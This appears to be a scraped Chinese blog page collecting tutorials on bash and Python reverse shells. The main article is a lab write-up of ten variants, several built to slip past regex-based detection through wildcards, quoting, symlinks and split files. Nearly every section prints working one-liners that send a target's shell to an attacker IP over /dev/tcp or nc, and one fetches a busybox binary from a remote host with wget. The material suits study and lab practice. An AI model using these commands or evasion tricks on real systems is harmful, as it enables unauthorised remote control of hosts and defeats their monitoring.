-
2021-04-26 12:52:39
正向连接与反向连接
与目标主机建立连接的
原理
是利用漏洞执行ShellCode
。
GetShell的实质是:执行ShellCode,将目标主机的Shell重定向到攻击机。拿到Shell利于后续的渗透。
所谓的反弹Shell
是指GetShell的过程由目标主机主动发起
(反向连接)。正向连接
- 攻击机:
主动
向目标机发起连接,并将其命令行的输入输出转到攻击机。 - 目标机:攻击者
通过攻击打开目标机的某个端口
,目标机在该端口响应攻击机的连接。
反向连接
- 攻击机:
监听本机的某个端口
,等待远程连接。 - 目标机:
主动
向攻击机发起到攻击机的监听端口的连接,并将其命令行的输入输出转到攻击机。
反弹shell适用场景
- 目标机受到防火墙的限制,不能接收连接请求。
- 目标机位于局域网,攻击机无法直接连接。
- 木马的连接方式通常都是反向连接。
利用bash反弹shell示例
- 攻击机IP:172.17.0.1
- 攻击机端口:2333
攻击机开启本地监听
攻击机开启对本地端口2333的监听。
nc -lvp 2333
利用bash反弹shell
利用漏洞执行反弹shell的命令。
从攻击机向攻击机的2333端口发起连接,并将bash的输入与输出重定向到攻击机。/bin/bash -i > /dev/tcp/172.17.0.1/2333 0<&1 2>&1
更多相关内容 - 攻击机:
-
浅析Linux之bash反弹shell原理
2021-01-08 23:44:56反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口... -
bash反弹shell编码
2022-02-15 14:25:59 -
Linux反弹shell姿势复现(一)--- 利用bash反弹shell
2021-03-23 17:49:10反弹shell姿势复现(一)前言复现环境说明反弹shell姿势(一)--- 利用bash反弹shell重要说明方法一方法二 前言 反弹shell有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹...Linux反弹shell姿势复现(一)--- 利用bash反弹shell
前言
反弹shell有很多种方式,这个系列内容较多,之后也会不断更新,对于反弹shell复现也算是一个近期工作的归纳总结吧。
注意:本博文仅供学习反弹shell的姿势使用,勿作其他用途的参考!复现环境说明
我在ubuntu和centos上均做了复现,用于比较版本对反弹shell的影响,实验方式是一样的,只是为了对比结果。
-
服务端(被监听)(ubuntu使用
cat /proc/version
查看,centos使用cat /etc/system-release
查看):ubuntu 5.4.0-67-generic; centos:CentOS Linux release 7.5.1804 (Core) -
客户端(监听):kali 5.9.0-kali1-amd64
利用bash反弹shell
利用bash反弹shell的方式有很多,之后本页面也会不断更新
重要说明
- /dev/tcp文件说明
这个文件在利用bash反弹shell的时候非常重要,这个文件本身是不存在的,可以看成是一个设备,打开这个文件就相当于发出了一个socket调用,建立起一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
/dev/tcp/host_ip/port :只要读取或者写入这个文件,相当于系统会尝试连接ip地址为host_ip的这台机器,对应的端口为port,如果这个ip和端口存在,就会建立起一个socket连接,在/proc/self/fd 目录下面,还有对应的文件生成。利用这个/dev/tcp文件的这个原理,就可以实现shell的反弹。
方法一:利用bash进行反弹
这是一种基础的利用/dev/tcp文件原理的方法
-
监听端(kali端):
首先让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
-
被监听端(ubuntu端):
cp /usr/bin/bash /opt/log_file/t
(复制一个bash到当前文件夹)
./t -i >& /dev/tcp/kali的ip地址/1231 0<&1
-
kali端已经拿到ubuntu的shell,成功后,在kali输入
exit
退出即可
方法二:利用busybox执行sh进行反弹
利用busybox:BusyBox 是标准 Linux 工具的一个单个可执行实现,里面含带了多种shell,只不过里面没有包含bash(此方法使用sh)。简单的说,busybox就是一个小型的根文件系统。因此,我们可以使用busybox来模拟根文件系统(rootfs),然后再结合一个linux内核,这样就可以组件一个linux系统了。
- 监听端(kali端)
首先让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(ubuntu端):
- 远程下载busybox:
wget http://139.196.91.13:7001/busybox
- 给busybox增加执行权限
chmod +x busybox
- 利用busybox执行sh
./busybox sh -i >& /dev/t""cp/kali的ip地址/1231 0<&1
- kali拿到反弹过来的shell
结果与方法一的结果相同,使用命令exit
退出即可
方法三:软连接诶+绕过正则示例1(命令变化特殊字符)
利用ln创建sh的软链接,然后通过/dev/tcp进行反弹:
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh t
str=dev
./t -i >& /${str}/tcp/kali的ip地址/1231 0>&1
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
方法四:软链接+绕过正则示例2(命令变化特殊字符)+新起一个bash
利用ln创建sh的软链接,利用
echo
命令给值给sh,然后通过/dev/tcp进行反弹:- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh t
echo './t -i >&' '/dev/tcp/kali的ip地址/1231' '0>&1' |bash
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
方法五:软链接+绕过正则示例3(命令变化特殊字符)
利用ln创建sh的软链接,然后通过/dev/tcp进行反弹:
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh t
./t -i >& /"dev"/tcp/kali的ip地址/1231 0>&1
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
这样的变化方式有很多,主要是增加一些符号等,并不影响命令的执行,比如双引号还可以编程单引号、加一些括号、$符号、“*”号等等。
方法六:利用软链接+bash执行文件内容
依旧是利用软链接,但是把命令写在文件中去执行。
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh /tmp/t
echo -n '0<&196
exec 196' > a
echo -n '<>/dev/tcp/kali的ip地址' > b
echo -n '/1231
/tmp/t <&196 >&196 2>&196' > c
cat a b c|bash
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
方法七:利用软链接+新起bash执行反弹
依旧是利用软链接,通过新起一个bash来执行反弹命令。
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh /tmp/t
echo '0<&196
exec' '196<>/dev/tcp/kali的ip地址/1231
' '/tmp/t <&196 >&196 2>&196'|bash
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
方法八:软链接+执行文件中的命+新起一个bash
依旧是利用软链接,通过新起一个bash来执行反弹命令和写入文件相结合。
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
- 创建软链接:
ln -s /bin/sh t
echo -n './t -i >& /de' > a
echo -n 'v/tcp/kali的ip地址/1231 0>' > b
echo -n '&1' > c; cat a b c|bash
-
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
- kali端拿到被监听方反弹的shell,使用
方法九:利用zsh替换bash+绕过正则
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
执行命令:/b?n/c?h -i > /dev/tcp/kali的ip地址/1231 0>&1
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
方法十:利用tcsh替换bash+绕过正则
- 监听端(kali端)
- 让监听端开启监听:
nc -nlvp 1231
(此处假设监听的是1231端口)
- 客户端(centos端):
执行命令/b?n/tc?h -i > /dev/tcp/kali的ip地址/1231 0>&1
- kali端拿到被监听方反弹的shell,使用
exit
命令退出即可
这一篇博文后续也会继续保持更新,目前做了二十几种bash反弹shell的复现,反弹的方式多种多样,并不能涵盖所有,本文总结了其中的一部分,大多数利用bash反弹shell的方式主要是利用本文提到的方法的排列组合,或者是增加一些符号,也就是绕过正则,在命令中变换特殊字符,比如空格使用${IFS}、使用base64编码等,或者是加入命令通配符,比如/b?n/ba?h等,亦或者是使用tcsh、zsh来替换bash,或者是cp、软链接来替换bash躲避检测等等,主要是为了躲避检测,方式有很多很多,但是其原理都是大同小异)
接下来如果在做到利用bash反弹shell,会进行横向纵向的扩充,根据姿势的种类,也会增加博文的篇数,其他方面如有不足,请多指正(#^.^#) -
-
使用python和bash反弹shell的方法详解
2020-07-20 18:36:36实验名称:实验(反向反弹) 实验环境: 攻击(攻击者)主机: Kali2020.2 虚拟机 nat 192.168.254.132 目标(受害者)主机: Centos_6.0...目录
声明:以下的反弹shell的介绍只适用于学习和授权情况下的操作,请勿用于非法环境!
含义
反弹shell / 反向shell / 反弹壳 / 反弹外壳
客户端连接服务端为正向连接(如:远程桌面、ssh等),反向连接弹shell(即反弹shell为攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)
目的
对方主机在外网无法访问
对方主机防火墙限制,只能发送请求,不能接收请求
对方IP动态变化
攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格
原理
让对方目标机器主动连接攻击者机器(攻击者指定服务端,受害者主机主动连接攻击者的服务端程序)
攻击者A开启19111端口TCP服务
受害者B连接19111端口TCP服务
A、B建立TCP连接
A通过TCP服务将待执行命令发送到B
B执行命令后将结果发送给A
实验环境:
攻击(攻击者)主机:
Kali2020.2 虚拟机
nat
192.168.254.132
目标(受害者)主机:
Centos_6.9 虚拟机
Nat
Vmnet1
192.168.254.173
192.168.10.14
【步骤一】:保持防火墙开启状态,关闭setenforce,结果如【图1】所示:
【命令】
setenforce 0 //设置SELinux 成为permissive模式 临时关闭selinux的 service iptables status //查看防火墙状态
图1
Python反弹shel l:
【步骤二】:kali使用nc进行对本机的4444端口进行监听,目标主机执行下面python命令:,结果如【图2】所示:
【命令】
//kali使用nc进行对本机的4444端口进行监听: nc -lvvp 4444 //目标主机执行下面python命令: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.132",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
图2
Bash的方式:
【步骤三】:使用bash的方式反弹shell,结果如【图3】所示:
【命令】
nc -lvvp 4444 bash -i >& /dev/tcp/192.168.254.132/4444 0>&1
图3
-
Linux之bash反弹shell原理浅析
2019-04-07 02:21:26环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 ...靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 ... -
【转】Linux之bash反弹shell原理浅析
2021-11-04 20:37:26环境 攻击机:kali ip:192.168.25.144 靶 机:centos ...靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp... -
彻底理解bash反弹shell
2018-12-15 00:45:15bash反弹:首先公网主机监听指定端口,然后肉鸡执行bash命令向公网指定端口发送连接请求 公网主机: nc -lvvp 9090 肉鸡执行: bash -i &> /dev/tcp/144.34.164.217/9090 0>&1 ... -
bash反弹shell
2015-12-31 20:17:10bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1 -
bash反弹shell时出现bash: no job control in this shell
2020-10-27 22:12:08错误 root@kali:~/Desktop# nc -lvvp 1234 listening on [any] 1234 ... 192.168.11.3: inverse host lookup failed: Host name lookup failure ...bash: no job control in this shell bash-3.2$ exit sent 0, -
Bash重定向和反弹Shell相关
2022-03-08 18:06:33文章目录BASH重定向文件描述符一般重定向及特殊符号对文件描述符重定向组合型的重定向关于重定向需要重点强调的1.`&.../dev/null`交互式Bash反弹shell测试Q/A问题1:问题2:参考链接:参考链接: BASH重定向 文件描述符 -
反弹shell
2022-05-11 10:49:09一、通过bash反弹shell 1、 在攻击机上通过nc命令监听2222端口 ┌──(kali㉿kali)-[~/Desktop] └─$ nc -lvvp 2222 listening on [any] 2222 ... 2、在服务器上连接攻击机(192.168.137.131)上面监听的2222端口... -
带你读懂bash一句话反弹shell
2021-02-22 15:51:51bash一句话反弹shell bash一句话反弹shell的内容是: bash -i >& /dev/tcp/HOST/PORT 0>&1 bash -i开启了一个交互式的shell。 然后使用>&将标准输入和标准输出重定向到/dev/tcp/HOST/PORT。 最后使用0>&1将标准输入... -
对于反弹shell语句bash命令的理解
2019-03-10 15:23:06在学习Wen渗透过程中,遇到了“反弹shell” 这个专业名词。于是查询找到了整个反弹shell的过程,但对于其中第一条命令尤其不解. bash -i >& /dev/tcp/[ip]/[port] 0>&1 经过 &... -
[CTF]-反弹shell[2]
2022-05-27 12:58:47[二]反弹shell的本质开放端口(腾讯云,宝塔面板)什么是反弹shell反弹shell的本质是什么bash -i/dev/tcp/ip/port实例1:实例2:交互重定向>&、&>常见的反弹shell 的语句怎么理解1234结束极客大挑战where... -
反弹shell的总结
2021-01-07 14:43:45前言 ctf中经常执行命令没有回显,需要...bash反弹shell 没啥好说的,因为太常见了: bash -i >& /dev/tcp/118.xxx.xxx.xxx/39009 0>&1 curl反弹shell 其实有点类似bash反弹,一个例子如下: curl http: -
Linux下反弹shell的原理
2022-03-10 16:12:47Linux下反弹shell的原理-bash shell是一种脚本语言,需要用解释器来解析这些脚本,常见的脚本解释器有: bash-Linux标准默认的shell sh-Unix标准默认的shell shell是Linux的外壳,为用户和内核之间的交互提供了一个... -
各种反弹shell原理
2022-04-18 21:09:10各种反弹shell原理 一、理解反弹shell 1、为什么需要反弹shell 当正向连接不可达时候 客户机中了木马,但是在局域网内,无法正向连接。 由于防火墙和局域网的限制,对方只能发送请求,不可主动接受请求 2、原理 ... -
linux反弹shell的原理详解
2021-01-08 23:45:39反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一... -
Docker反弹shell
2021-12-27 16:02:29本篇文章我们主要介绍一些在Docker中反弹shell到远程服务器的方法 常见方法 Step 1:在远程服务器端监听端口 nc -lnvp 9999 Step 2:通过CDK反弹shell #命令格式 cdk run reverse-shell <ip>:<... -
Linux渗透之反弹Shell命令解析
2017-08-18 11:32:34在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个命令就可以反弹shell了,却没有一篇文章介绍这些命令究竟是如何实现反弹shell的。既然大牛们... -
反弹Shell具体实现
2021-07-21 10:03:43反弹Shell具体实现 文章目录反弹Shell具体实现啥是反弹Shell 啥是反弹Shell 反弹shell(reverseshell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell... -
linux反弹shell命令解析
2021-03-13 08:27:39搜索相关的内容突然发现一个很好玩的用处就是反弹shell.下面我们就来讲讲反弹shell1. 什么是反弹shell简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。2. 反弹shell的用途这个反弹shell大部分... -
反弹shell原理和实现
2022-01-18 10:52:18入侵者为了防止漏洞被修复,无法通过正向链接侵入服务器时,会被利用shell反弹原理种马。 首先,侵入者会利用注入参数,创建一个shell.php文件,文件内容如下 通过web访问并执行shell.php文件 exec('bash -i &&... -
2022渗透测试-反弹shell的详细讲解
2022-02-07 10:58:231.反弹shell简介 反弹shell是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。 2.为什么要进行反弹shell 假设我们攻击了一台... -
Linux反弹Shell总结
2022-01-06 23:09:56反弹姿势 1、NC正向反弹 靶机: nc -lvvp 靶机端口 -e ...(2)、NC,无-e参数反弹shell 有些版本的NC可能不支持-e选项,不能使用-e,则: 方法一: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc